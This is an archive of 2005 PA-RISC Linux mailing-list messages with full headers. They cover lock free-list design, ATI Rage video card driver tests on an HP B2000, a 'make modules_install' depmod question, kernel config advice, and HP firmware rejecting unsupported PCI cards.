In-Reply-To: <200507020935.42389.mszick@morethan.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /dS0YvB5eSEkS76WZHQhaXN1IGRvb0Cv
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22856

Please reply on list.

> 1) Your free-listing of locks does not appear to be thread safe;
>     I.E: Protected from concurrent changes.
> 
> But then, perhaps my mind is going and I just did not
> read the code closely enough.

They are protected by a spinlock.

> 2) How about an alternative implementation?
> Based on 4,096 byte pages;
> 
> Using the find_[first|last]_[zero|one] asm routines;
> 
> As I recall, they only go to 64 bits currently but only
> require 3 instructions per binary radix (add 6 instructions
> for 256 bits);
> 
> First 16 bytes of the page - your current header;
> Second 16 bytes of the page - bitmap of available locks;

Why do you need a bitmap?

> First bit of the bitmap represents the current header -
> use this to lock the page list (currently called free-list);
> 
> Second bit of the bitmap represents the bitmap -
> use this to lock the bitmap;

how do you use a bit to do locking?

> The remaining 254 bits/lock structures per page are usable.

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J. L. Lee" <jllee@singnet.com.sg>
Newsgroups: gmane.linux.ports.parisc
Subject: ATI 3D Rage II+ Video Card
Date: Sun, 03 Jul 2005 12:11:47 +0800
Lines: 68
Approved: news@gmane.org
Message-ID: <5.1.1.6.1.20050703114537.02a58010__23460.9208106578$1416623829$gmane$org@pop.singnet.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii";
  format=flowed
X-Trace: ger.gmane.org 1416623829 15450 80.91.229.3 (22 Nov 2014 02:37:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:09 +0000 (UTC)
To: <debian-hppa@lists.debian.org>,
 <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jul 2005 04:13:33 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx020) with SMTP; 03 Jul 2005 06:13:33 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id C170D2E0FC; Sat,  2 Jul 2005 23:13:28 -0500 (CDT)
Old-Return-Path: <jllee@singnet.com.sg>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from eastgate.starhub.net.sg (eastgate.starhub.net.sg [203.116.1.189])
	by murphy.debian.org (Postfix) with ESMTP id 43BDF2DE40
	for <debian-hppa@lists.debian.org>; Sat,  2 Jul 2005 23:13:21 -0500 (CDT)
Original-Received: from hpxphome.singnet.com.sg (cm45.gamma85.maxonline.com.sg [202.156.85.45])
	by eastgate.starhub.net.sg (8.12.5/8.12.5) with ESMTP id j634Cub0006887;
	Sun, 3 Jul 2005 12:13:08 +0800 (SST)
X-Sender: jllee@pop.singnet.com.sg
X-Mailer: QUALCOMM Windows Eudora Version 5.1.1
X-Rc-Virus: 2005-02-17_01
X-Rc-Spam: 2005-03-31_01
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2005_05_20_02 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=-3.7 required=4.0 tests=AWL,IMPRONONCABLE_2,
	LDOSUBSCRIBER autolearn=no version=2.63-lists.debian.org_2005_05_20_02
Resent-Message-ID: <OnlUgD.A.Q0E.oX2xCB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/4625
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sat,  2 Jul 2005 23:13:28 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: ugC1YmgKeSEkZr6WZHQhaXN1IGRvb0Do
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22857

Hi,

If you are interested, followiong are some test results I carried out while 
trying to bring up an ATI 3D Rage II+ video card on my B2000 which runs on 
Linux kernel 2.6.12-rc6-pa1.

The video card outputs from 'lspci -v' are:

0000:01:01.0 VGA compatible controller: ATI Technologies Inc 3D Rage II+ 
215GTB [Mach64 GTB] (rev 9a) (prog-if 00 [VGA])
	Flags: bus master, stepping, medium devsel, latency 255
	Memory at fa000000 (32-bit, non-prefetchable) [size=16M]
	I/O ports at 12000 [size=256]
	Memory at f4800000 (32-bit, non-prefetchable) [size=4K]
	Expansion ROM at f4820000 [disabled] [size=128K]

Test 1) Compiled only ATI Mach64 (no other ATI bits were included) driver 
as a module while 'frame buffer', 'video helper', 'tile blitting' and 'HP 
STI frame buffer' were compiled into the kernel. (No other video drivers 
were selected):

Result 1.1) The driver module was not loaded automatically though the video 
card was in place. Did 'lsmod' no 'atyfb' module was found.

Result 1.2) Entered command 'modprobe atyfb' nothing happened (no signals 
were detected although connection was reported OK by the HP910 monitor). 
Did a 'lsmod' 'atyfb' driver was listed among others.

Test 2) Compiled ATI Mach64 (no other ATI bits were included) driver along 
with 'frame buffer', 'video helper', 'tile blitting' and 'HP STI frame 
buffer' into the kernel. (No other video drivers were selected):

Result 2.1) Again nothing happened. Checked 
'/lib/modules/2.6.12-rc6-pa1/kernel/drivers' no 'video' subdirectory was 
found. I assumed this is normal as I have not selected any video drivers to 
be compiled as modules.

Result 2.2) The boot up messages related to video drivers did not show any 
messages referencing the ATI driver. The relevant output are:

STI GSC/PCI core graphics driver Version 0.9a
STI PCI graphic ROM found at f4820000 (128 kB), fb at fd000000 (16 MB)
     id 35acda16-9a02587, conforms to spec rev. 8.0c
     graphics card name: HPA4982A
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
stifb: 'HPA4982A' (id: 0x35acda16) not supported.
Generic RTC Driver v1.07



I will continue to add in other related ATI drivers one bit at a time to 
see if the situation will change. I will only compile the drivers into the 
kernel to save time.

In the meanwhile, if you have any suggestions pls let me know.

Rgds,
Lee




-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "J. L. Lee" <jllee@singnet.com.sg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Is the message from 'make modules_install' important?
Date: Sun, 03 Jul 2005 12:45:29 +0800
Lines: 24
Approved: news@gmane.org
Message-ID: <5.1.1.6.1.20050703124208.02a57290__49438.9124018655$1416623829$gmane$org@pop.singnet.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii";
  format=flowed
X-Trace: ger.gmane.org 1416623829 15452 80.91.229.3 (22 Nov 2014 02:37:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:09 +0000 (UTC)
To: <debian-hppa@lists.debian.org>,
 <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jul 2005 04:46:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 03 Jul 2005 06:46:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 49B0F7D692;
	Sat,  2 Jul 2005 22:46:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18441-05; Sat, 2 Jul 2005 22:46:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A32307D696;
	Sat,  2 Jul 2005 22:46:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C09D67D68C
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Jul 2005 22:46:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18441-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 2 Jul 2005 22:46:49 -0600 (MDT)
Original-Received: from surfgate2.starhub.net.sg (surfgate2.starhub.net.sg
	[203.117.3.7])
	by free.linux.hp.com (Postfix) with ESMTP id BA9B57D68A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Jul 2005 22:46:48 -0600 (MDT)
Original-Received: from hpxphome.singnet.com.sg (cm45.gamma85.maxonline.com.sg
	[202.156.85.45])
	by surfgate2.starhub.net.sg (8.12.10/8.12.10) with ESMTP id
	j634fPDp015447; Sun, 3 Jul 2005 12:41:28 +0800
X-Sender: jllee@pop.singnet.com.sg
X-Mailer: QUALCOMM Windows Eudora Version 5.1.1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lgi1YuRbeSEkdL6WZHQhaXN1IGRvb8BJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22858

Hi,

Just wonder, every time I run 'make modules_install' in Linux 
2.6.12-rc6-pa1 it always ended with the following line:

if [ -r System.map -a -x /sbin/depmod ]; then /sbin/depmod -ae -F 
System.map  2.
6.12-rc6-pa1; fi


Did the 'make modules_install' complete its task or it stopped prematurely? 
Pls adv.


Thanks,
Lee


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ATI 3D Rage II+ Video Card
Date: Sun, 03 Jul 2005 09:56:22 +0000
Lines: 39
Approved: news@gmane.org
Message-ID: <42C7B646.1000602__15257.5323627845$1416623830$gmane$org@tiscali.be>
References: <5.1.1.6.1.20050703114537.02a58010@pop.singnet.com.sg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623830 15454 80.91.229.3 (22 Nov 2014 02:37:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: "J. L. Lee" <jllee@singnet.com.sg>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jul 2005 09:56:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 03 Jul 2005 11:56:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F067C7D6BE;
	Sun,  3 Jul 2005 03:56:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19836-02; Sun, 3 Jul 2005 03:56:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2DDAD7D6B9;
	Sun,  3 Jul 2005 03:56:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5DFC07D6B1
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jul 2005 03:56:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19615-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jul 2005 03:56:30 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 6AF207D6AD
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jul 2005 03:56:30 -0600 (MDT)
Original-Received: from (ip-213-49-166-207.dsl.scarlet.be [213.49.166.207]) 
	by oola.is.scarlet.be  with ESMTP id j639uMu22597; 
	Sun, 3 Jul 2005 11:56:22 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <5.1.1.6.1.20050703114537.02a58010@pop.singnet.com.sg>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: D9O1YmseeSEkd76WZHQhaXN1IGRvb0D/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22859

Hello Lee,


J. L. Lee wrote:
> Hi,
> 
> If you are interested, followiong are some test results I carried out 
> while trying to bring up an ATI 3D Rage II+ video card on my B2000 which 
> runs on Linux kernel 2.6.12-rc6-pa1.
> 
> The video card outputs from 'lspci -v' are:
> 
> 0000:01:01.0 VGA compatible controller: ATI Technologies Inc 3D Rage II+ 
> 215GTB [Mach64 GTB] (rev 9a) (prog-if 00 [VGA])
>     Flags: bus master, stepping, medium devsel, latency 255
>     Memory at fa000000 (32-bit, non-prefetchable) [size=16M]
>     I/O ports at 12000 [size=256]
>     Memory at f4800000 (32-bit, non-prefetchable) [size=4K]
>     Expansion ROM at f4820000 [disabled] [size=128K]
> 
Iirc for such ATI 3D Rage on a non-i386 platform you would have to select:

  CONFIG_FB_ATY_XL_INIT: (sic "to support booting a Rage XL without BIOS support.")

i.e. something like in your make menuconfig:

<M>   ATI Mach64 display support
[*]     Mach64 CT/VT/GT/LT (incl. 3D RAGE) support
[ ]       Mach64 generic LCD support (EXPERIMENTAL) (NEW)
[*]       Rage XL No-BIOS Init support

Hth,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCI SCSI Card in slot 1 disabled :(
Date: Sat, 2 Jul 2005 02:44:30 -0600
Lines: 43
Approved: news@gmane.org
Message-ID: <20050702084430.GF14091@colo.lackof.org>
References: <E1DnwdK-0006cH-7z@argon.connect.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623830 15456 80.91.229.3 (22 Nov 2014 02:37:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christopher James Weatherby <chrisw@merseymail.com>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Jul 2005 08:40:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 02 Jul 2005 10:40:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5330D7D6DA;
	Sat,  2 Jul 2005 02:40:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12836-04; Sat, 2 Jul 2005 02:40:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 46BE27D6DC;
	Sat,  2 Jul 2005 02:40:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E1AD17D6D9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Jul 2005 02:40:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12836-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 2 Jul 2005 02:40:14 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 6167E7D6D3
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  2 Jul 2005 02:40:14 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id AF37B29804C;
	Sat,  2 Jul 2005 02:44:31 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19114-08; Sat, 2 Jul 2005 02:44:30 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 44157298010; Sat,  2 Jul 2005 02:44:30 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <E1DnwdK-0006cH-7z@argon.connect.org.uk>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oTe0YoxkeSEkSb6WZHQhaXN1IGRvb4Ak
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22860

On Thu, Jun 30, 2005 at 11:51:02AM +0100, Christopher James Weatherby wrote:
> Hi Scott,
>          I've had the same problem with my B132L, and pci cards.
>  Its all to do with the Firmware version your machine is running.
>  In the later versions of the Firmware , HP, in its wisdom decided to
> prevent any non-supported cards (from the cards id, rather than the
> chipsets), from running on their workstations, and
> prevent the machine from booting, if one was inserted.

No. HP is not just being obnoxious here.
This was implemented to prevent silent data corruption. 
In certain configurations (e.g B132L and a few other workstations),
Dino version 3.0 and older would silently corrupt data if the address
of the dino register passed over the bus as data.

A service note was published in ~1998-1999 time frame covering this.
Searching parisc-linux mailing list for "dino corruption" I didn't
find any direct references. I advise searching the HP website
directly. Or does some other HP person have a direct reference?


> My machine used to
> happily boot with a wide range of PCI cards, but stopped when I upgraded to
> the last Firmware version (6.1, I think).
>  I think the only solution is to find an older version of the firmware, and
> downgrade the machine. 

No. The only solution is to replace the machine with one
that is repaired. Sorry. :^(

> However I've never been able to find older versions of the firmware for a
> B132L on HP's patch/firmware site (http://itrc.hp.com/ /
> ftp://ftp.itrc.hp.com/ )

That's becuase it's a Bad Idea (tm). That's not by accident.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs.parisc-linux.org doesn't responding?
Date: Sun, 03 Jul 2005 18:59:48 +0800
Lines: 18
Approved: news@gmane.org
Message-ID: <42C7C524.1010804@tausq.org>
References: <42C7B954.1080201@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623830 15462 80.91.229.3 (22 Nov 2014 02:37:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jul 2005 11:00:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 03 Jul 2005 13:00:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 876ED7D6D3;
	Sun,  3 Jul 2005 04:59:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20074-09; Sun, 3 Jul 2005 04:59:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD8C87D6D5;
	Sun,  3 Jul 2005 04:59:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 32A3B7D6CC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jul 2005 04:59:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20022-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jul 2005 04:59:54 -0600 (MDT)
Original-Received: from stl.com.hk (ip127.bb146.pacific.net.hk [202.64.146.127])
	by free.linux.hp.com (Postfix) with ESMTP id 73E387D6B7
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jul 2005 04:59:54 -0600 (MDT)
Original-Received: from 194.197.17.210.dyn.pacific.net.hk ([210.17.197.194]
	helo=[192.168.1.102])
	by stl.com.hk with esmtpsa (TLS-1.0:DHE_RSA_AES_256_CBC_SHA:32)
	(Exim 4.50) id 1Dp2BL-00024t-Em; Sun, 03 Jul 2005 18:58:39 +0800
User-Agent: Debian Thunderbird 1.0.2 (X11/20050331)
X-Accept-Language: en-us, en
In-Reply-To: <42C7B954.1080201@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
